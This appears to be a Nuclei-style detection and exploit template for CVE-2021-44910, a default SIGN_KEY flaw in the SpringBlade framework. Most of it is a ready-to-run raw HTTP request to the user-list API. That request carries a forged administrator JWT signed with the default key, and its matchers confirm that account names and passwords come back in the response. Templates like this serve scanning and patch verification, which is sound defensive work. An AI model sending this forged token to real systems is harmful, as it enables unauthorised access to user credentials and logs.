SpringBlade is a comprehensive project upgraded and optimized from a commercial-grade project, featuring both a SpringCloud distributed microservice architecture and a SpringBoot monolithic microservice architecture. The SpringBlade framework has a default SIGN_KEY, which can be exploited by attackers to obtain sensitive information such as user account password logs.
PoC
id: CVE-2021-44910
info:
name: SpringBlade - Information Leakage
author: lbb
severity: high
description: |
SpringBlade is a comprehensive project upgraded and optimized from a commercial-grade project, featuring both a SpringCloud distributed microservice architecture and a SpringBoot monolithic microservice architecture. The SpringBlade framework has a default SIGN_KEY, which can be exploited by attackers to obtain sensitive information such as user account password logs.
impact: |
Attackers using default SIGN_KEY can forge JWT tokens to obtain sensitive user information including account credentials, password hashes, and logs from the SpringBlade system.
remediation: |
Change the default SIGN_KEY to a strong, unique value in the SpringBlade configuration.
reference:
- https://github.com/chillzhuang/blade-tool
metadata:
max-request: 3
tags: cve,cve2021,springblade,blade,info-leak,vuln
http:
- raw:
- |
GET /api/blade-user/user-list HTTP/1.1
Host: {{Hostname}}
Blade-Auth: bearer {{bearer}}
payloads:
bearer:
- 'eyJhbGciOiJIUzM4NCIsInR5cCI6IkpXVCJ9.eyJpc3MiOiJpc3N1c2VyIiwiYXVkIjoiYXVkaWVuY2UiLCJ0ZW5hbnRfaWQiOiIwMDAwMDAiLCJyb2xlX25hbWUiOiJhZG1pbmlzdHJhdG9yIiwicG9zdF9pZCI6IjExMjM1OTg4MjE3Mzg2NzUyMDEiLCJ1c2VyX2lkIjoiMTEyMzU5ODgyMTczODY3NTIwMSIsInJvbGVfaWQiOiIxMTIzNTk4ODIxNzM4Njc1MjAxIiwidXNlcl9uYW1lIjoiYWRtaW4iLCJuaWNrX25hbWUiOiLnrqHnkIblkZgiLCJ0b2tlbl90eXBlIjoiYWNjZXNzX3Rva2VuIiwiZGVwdF9pZCI6IjExMjM1OTg4MjE3Mzg2NzUyMDEiLCJhY2NvdW50IjoiYWRtaW4iLCJjbGllbnRfaWQiOiJzYWJlciJ9.gbUWSdFfmzfU_gKzFYjyyJzcrHBfOwswJvpt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j8O4UYrpdUc9_Zw935g7Nb979DfRuanai1UeKsK2zCKuR77Otryi0sGzBfGANDbLseBg'
stop-at-first-match: true
matchers-condition: and
matchers:
- type: word
part: body
words:
- '"success":true'
- '"account":'
- '"password":'
condition: and
- type: word
part: header
words:
- 'application/json'
- type: status
status:
- 200
# digest: 4a0a0047304502204df13b5f549541aeeba8ae5951a653fe0db8d5b58f05dc4551862c6d9d581e05022100e5ee81e12cae8e832c1423a964a8cd04dd05c23627f176022603dcbd5dfafbed:922c64590222798bb761d5b6d8e72950
# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.